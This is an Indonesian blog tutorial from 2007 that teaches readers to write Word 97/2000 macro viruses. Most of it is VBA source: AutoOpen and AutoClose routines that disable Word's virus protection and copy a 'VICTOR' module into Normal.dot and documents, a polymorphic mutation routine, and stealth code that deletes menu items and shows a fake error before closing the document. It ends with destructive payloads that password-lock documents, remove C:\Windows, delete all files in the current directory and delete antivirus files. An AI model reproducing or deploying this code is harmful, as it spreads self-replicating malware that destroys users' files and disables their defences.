Rabu, 13 Juni 2007

BAGAIMANA HACKER MEMBUAT VIRUS MACKRO

PENDAHULUAN
Disini saya ingin mengajarkan kepada Anda bagaimana teknik infeksi virus macro pada MS Word97/2000 dan berbagai efek yang dapat ditimbulkan. Mempertimbangkan bahwa infeksi macro pada MS Word97/2000 banyak yang menggunakan teknik yang sulit, maka pada tutorial ini saya akan menerangkannya dengan sangat mudah untuk Anda. Baca saja tutorial secara cermat, dan Anda akan dapat menulis virus macro ringan pada MS Word 97/2000

TEKNIK INFEKSI PADA MS WORD97Banyak cara infeksi yang akan kita analisis. Untuk menginfeksi MS Word97, pada walnya kita harus memilih macro yang akan sebagai perantara.

AutoOpen - Macro ini menginfeksi pada saat membuka dokumen
AutoClose - Macro ini menginfeksi pada saat keluar dokumen
AutoExec - Macro ini menginfeksi begitu MS Word97 dijalankan
AutoNew - Macro ini menginfeksi pada saat membuat suatu dokumen baru
FileSave - Macro ini menginfeksi pada saat menyimpan dokumen yang aktif

Dan macro lainnya yang cukup banyak disertakan oleh MS Word, namun saya tidak bisa menerangkan kesemuanya. Setelah Anda memilih nama untuk macro (dapat saja diletakan banyak macro pada sebuah virus) maka kita sudah siap untuk memulai untuk membuat virus macro.

Teknik Infeksi Pertama Ini adalah teknik pertama dari infeksi, metodenya tidak terlalu rumit dan cukup layak digunakan. Pada saat pengaktifan (pembukaan), virus akan mengkopikan modul ini pada file “c:\Victor.sys” dan mengecek kehadiran dari modul ini jika tidak ada import modul ini dari file “c:\Victor.sys”.

Sub AutoOpen()
‘infeksi akan beraksi pada saat membuka dokumen
On Eror Resume Next
'Jika ada kesalahan melompat ke baris berikutnya
Application.ScreenUpdating = False

'Untuk tidak menampilkan message
Options.VirusProtection = False
'Menonfungsikan anti virus yang built in pada MS Word97
Options.SaveNormalPrompt = False
'Melarang perubahan pada Normal.dot
Application.VBE.ActiveVBProject.VBComponents("VICTOR").Export "c:\Victor.sys"
'Mengekspor kode virus kita ke sebuah file pada hard disk

For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "VICTOR" Then GInstall = True
Next I
‘Kita akan mengetes kehadiran virus kita pada Normal.dot

For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "VICTOR" Then DInstall = True
Next I
'Kita akan mengecek kehadiran virus pada dokumen yang aktif

If DInstall = True And GInstall = False Then Set Virii = NormalTemplate.VBProject _
Else If DInstall = False And GInstall = True Then Set Virii = ActiveDocument.VBProject
‘Jika dokumen tidak terinfeksi oleh kode virus yang kita import ke file
With Virii
With .VBComponents.Import("c:\Victor.sys") 'Kita import virus file dan menginfeksinya

End With
End With

If DInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, _
FileFormat:=wdFormatDocument
'Kita simpan semua jika semuanya oke
End Sub

Teknik Infeksi KeduaTeknik ini adalah salah satu teknik yang populer. Pada saat dokumen yang telah terinfeksi ditutup sebuah virus akan mengecek modulnya pada dokumen dan Normal.dot, jika tidak terdapat maka infeksi. Teknik infeksi ini sangat mudah, khususnya pada saat pembukaannya.

Sub AutoClose()
'Jika ada kesalahan melompat ke baris selanjutnya
On Eror Resume Next
'Tidak perlu mengupdate screen
Application.ScreenUpdating = False
'Untuk tidak menampilkan message
Application.DisplayAlerts = wdAlertsNone
'Mendiskoneksikan anti virus built in
Options.VirusProtection = False
'Memasukkannya seluruh dokumen pada sebuah variabel
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
'Dokumen tidak terinfeksi
DocumentInstalled = False
'Pola tidak terinfeksi

GlobalInstalled = False

For U = 1 To ActiveDocument.VBProject.VBComponents.Count 'assign parameters U
‘Mengecek dokumen dari kehadiran modul virus, jika ditemukan maka
If ActiveDocument.VBProject.VBComponents(U).Name = "VICTOR" Then
DocumentInstalled = True
'Menyatakan bahwa dokumen terinfeksi
End If
'Keluar dari operasi pengecekan
Next
'Meneruskan aksi

For T = 1 To NormalTemplate.VBProject.VBComponents.Count 'assign parameters T
‘Mengecek pola(Normal.dot dari kehadiran modul virus, jika ditemukan maka
If NormalTemplate.VBProject.VBComponents(T).Name = "VICTOR" Then
GlobalInstalled = True
'Menyatakan bahwa pola (Normal.dot) terinfeksi
End If
'Keluar dari operasi pengecekan
Next
'Meneruskan aksi

‘Jika pengecekan menyatakan bahwa dokumen belum terinfeksi, maka akan diinfeksi
If DocumentInstalled = False Then
'Copy modul virus ke dokumen
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument.FullName, Name:="VICTOR", _
Object:=wdOrganizerObjectProjectItems

ActiveDoc.SaveAs filename:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
'Berhenti infeksi

‘Jika pengecekan menyatakan bahwa pola (Normal.dot) belum terinfeksi, maka akan diinfeksi
If GlobalInstalled = False Then
'Copy Module of virus in pattern
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="VICTOR", _
Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
'Berhenti infeksi

'Sekarang kita akan mengembalikan ke keadaan semula
Application.DisplayAlerts = wdAlertsAll
End Sub
POLYMORPHIC
Banyak hacker yang ingin menggunakan teknik polymorphic untuk digunakan pada virusnya namun banyak yang tekniknya sangat jelek dan tidak bekerja sebagaimana mestinya. Polymorphic untuk disertakan pada virus macro cukup mudah hanya jika logika kita bagus dan menemukan ide yang menarik. Teknik Polymorphic pertama adalah APMRS (Advanced Polymorphic Macro Replication System). Teknik ini diciptakan oleh Pyro, teknik ini menurut saya sangat powerful dan menarik jika disisipkan pada modul berbagai virus sebagai komentar dan menggunakannya untuk teknik pencarian
Setelah itu muncul teknik polymorphic kedua yaitu (VSMP) diciptakan oleh VicodinES and Teknik ketiga polymorphic (UMP) yang diciptakan oleh Ultras.

Pada tutorial ini saya akan menampilkan teknik-teknik polymorphic ini namun Anda cobalah untuk membuatnya dan memodifikasi teknik-teknik tersebut sesuai selera Anda.

Kerjanya membutuhkan pemanggilan dari sub rutin ke virus tersebut

Sub AutoOpen()
............. – kode sebuah virus
Call VICTOR
............. – kode sebuah virus
Call VICTOR
End Sub

Otomatis pada pembukaan virus kita akan menyertakan polymorphic. Dibawah ini saya akan tampilkan sebuah contoh teknik polymorphic.

Sub VICTOR()
‘Kita menggenerate bilangan tidak lebih dari 33, jika mau Anda bisa menggunakan bilangan lainnya, misalnya 40
PoNu = Int(Rnd() * 33 + 1)
‘Antara 1 sampai 33, ini menyatakan berapa kali kita akan mengulang procedure

For Mutate = 1 To PoNu
'Kita menggenerate baris pada VICTOR
PoRL = Application.VBE.ActiveVBProject.VBComponents("VICTOR").CodeModule.CountOfLines
‘Kita menggenerate baris dimana kita akan menuliskan procedure
PoLi = Int(Rnd() * PoRL + 1)
‘Menggenerate bilangan yang dapat untuk mengganti bilangan-bilangan itu dan menjumlahkannya pada generator bilangan
a = Rnd * 455: b = Rnd * 80: c = Rnd * 160: d = Rnd * 180: e = Rnd * 49
‘Dengan penggenerasian jumlah bilangan kita akan mengkopinya pada modul virus dan akan menempati pada baris yang berbeda
Application.VBE.ActiveVBProject.VBComponents("VICTOR").CodeModule.InsertLines PoLi, vbTab & _
‘Kita masukkan pada modul virus, bilangan yang kita dapat tersebut
"' " & a & vbTab & b & vbTab & c & vbTab & d & vbTab & e
‘Kita akan mengulang sekali lagi pada baris lainnya
Next Mutate
End Sub

Sekarang Anda sudah mulai tahu bagaimana polymorphic bekerja dan bagaimana logikanya, sekarang Anda tinggal berpikir dan membuatnya.


STEALTH
Cukup mudah untuk menulis virus macro yang tersembunyi dan tak terdeteksi untuk MS Word97, salah satunya adalah dengan teknik stealth dan kita akan membicarakannya saat ini. Untuk menyembunyikan virus adalah sangat penting yaitu dengan tidak memberikan banyak user untuk dapat menemukannya dan mencegah pengenalan pemanggilan macro sebuah virus, seperti :

ToolsMacro
ViewVBCode
FileTemplates
ToolsCustomize

Pada saat macro tersebut dipanggil, dapat saja keluar suatu pesan untuk tipe user yang bodoh "Not enough memory to perform this operation" atau menghapus semua yang ada dalam macro dan setelah keluar maka mulai bekerja lagi. Juga dapat dengan menghapusnya dari menu dan trik lainnya.

‘Nama macro, saya mungkin hanya akan menerangkan 4 buah saja
Sub ToolsMacro()
‘Ini adalah tempat yang mungkin untuk melink dengan polymorphic sebelum menginfeksi dengan cara yang sama.
‘Juga bisa dengan menempatkan password dan lain sebagainya
End Sub

Menghapus link dari menu. Metode ini bekerja pada semua MS Word97 versi English. Namun Anda bisa menggunakan metode pertama tadi untuk mencegah terjadi kesalahan versi MS Word97 atau juga digabungkan dengan metode ini untuk membuat virus macro kita menjadi stealth.

CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Customize...").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete

Berikut ini teknik yang banyak digunakan pada virus macro, pesan muncul pada saat memulai untuk melihat sebuah macro, yaitu dengan menampilkan pesan kesalahan dan menutup dokumen.

Sub ViewVBCode()
'Jika salah maka lanjutkan
On Error Resume Next
'Pesan untuk user yang bodoh
steMes = "Not enough memory to perform this operation"
‘Kemudian membuat pesan kita mempunyai 3 button
steMsgType = vbCritical + vbOKCancel + vbMsgBoxHelpButton
'Semuanya akan menghasilkan sebuah pesan
message = MsgBox(steMes, steMsgType, "Microsoft Word")
‘Jika user akan menekan tombol OK dan Cancel maka virus akan menutup dokumen
If vbOKCancel Then
Documents.Close
End If
End Sub


PAYLOAD
Saya rasa payload ini adalah bagian utama dari sebuah virus dan kita akan membicarakan payload ini yang kebanyakan dipakai dan dijadikan efek sebuah virus. Untuk membuatnya, maka awal kita perlu untuk membuat waktu aksi sesuai keinginan kita. Misal kita ingin membuat payload virus untuk beroperasi pada bulan Mei :

If Month(Now()) = 5 Then 'Jika tang 5 Mei
' Disni Anda letakkan payload
End if

Berikut ini tabel waktu yang dipunyai oleh MS Word, Ms Excel dan lainnya

If Minute(Now()) = ? Then() 'Dimana  = any Minute
If Hour(Now()) = ? Then 'Dimana ? = any Hour
If Day(Now()) = ? Then 'Dimana ? = any Day
If Weekday(Now()) = ? Then 'Dimana ? = any Weekday
If Month(Now()) = ? Then 'Dimana ? = any Month
If Year(Now()) = ? Then 'Dimana ? = any Year


Dengan cara yang sama dapat juga membuat misalnya menggenerate menit:

MiG = Int(Rnd() * 60) + 1 'Menggenerate menit payload
If Minute(Now()) = MiG Then 'Mendapatkan menit dengan secara random

‘Lalu disini kita eksekusi payload
End if

Sekarang kita akan melangkah kepada hal yang lebih menarik. Dan kita akan membicarakan aksi yang diberikan pada payload.
Payload ini untuk memberi password pada sebuah dokumen, yaitu dengan menaruh password dari User inisial yang tidak akan pernah terpikirkan.

ActiveDocument.Password = "" & Application.UserInitials
ActiveDocument.Save

Dengan cara yang sama juga dapat dengan Nama dari user, namun bisa saja hal ini ketahuan.

ActiveDocument.Password = "" & Application.UserName
ActiveDocument.Save


Bisa juga dengan secara sederhana menaruh password kita tanpa perlu repot-repot.

ActiveDocument.Password = "VictorHacker" 'Taruh password yang diinginkan
ActiveDocument.Save

Pada Ms Word97 yang terinstall dengan Assistant, yang kadang mengganggu kita dapat saja memberi informasi yang cukup iseng :

Assistant.Visible = True
With Assistant.NewBalloon
.Text = "Word97 Macro Viruses" 'Sisipkan text Anda disini
.Heading = "Victor" 'Ini adalah Judul
.Animation = msoAnimationEmptyTrash ‘Animasi ini akan dihasilkan oleh assistant
.Show
End With

Dapat saja membuat payload yang menarik yaitu dengan menggunakan fungsi API. Berikut ini adalah teknik payload menggunakan fungsi API Windows, dengan menghapus \directory yang Anda pilih

Public Declare Function RemoveDirectory Lib "kernel32" Alias "RemoveDirectoryA" _
(ByVal lpPathName As String) As Long
‘Kita indikasikan direktori apa yang akan kita hancurkan (disini saya mencontohkan dengan dir Windows)
WinDestroy = RemoveDirectory("C:\Windows")

Ini juga payload menggunakan fungsi API, dengan mengganti nama Komputer

Declare Function SetComputerName Lib "kernel32" Alias "SetComputerNameA" _
(ByVal lpComputerName As String) As Long
'Disini kita sisipkan nama yang angin kita buat
coMpNamE = SetComputerName("Victor")


Berikut ini juga payload menggunakan fungsi API untuk mengganti volume label

Declare Function SetVolumeLabel Lib "kernel32" Alias "SetVolumeLabelA" _
(ByVal lpRootPathName As String, ByVal lpVolumeName As String) As Long

DiSk = SetVolumeLabel("C:\", "Victor")

Sekarang kita akan melangkah pada payload yaitu dengan menggunakan perintah “KILL” untuk menghapus satu atau beberapa file. Pada banyak virus yang menggunakan perintah ini saya akan menerangkan cara favorit yang banyak digunakan dan yang mungkin berguna sekali.

Kill "C:\autoexec.bat" 'Nama harus menuliskan file pada tanda petik dua

Contoh di ats adalah untuk menghapus file autoecex.bat pada directory C:\

Berikut ini contoh lainnya :

Kill "*.*" 'Menghapus semua file pada direktori aktif

Dengan cara yang sama kita juga dapat gunakan untuk menghapus AntiVirus

Kill "C:\Program Files\AntiViral Toolkit Pro\*.avc" 'Menghapus AVP

Mohon maaf bila tutorial ini sulit untuk dimengerti atau Anda mungkin kurang familiar dengan teknik-teknik yang ada. Namun saya berusaha agar Anda dapat mengerti secara simple dan gambar untuk dapat membuat serta memahami teknik yang digunakan pada sebuah virus macro.

1 komentar: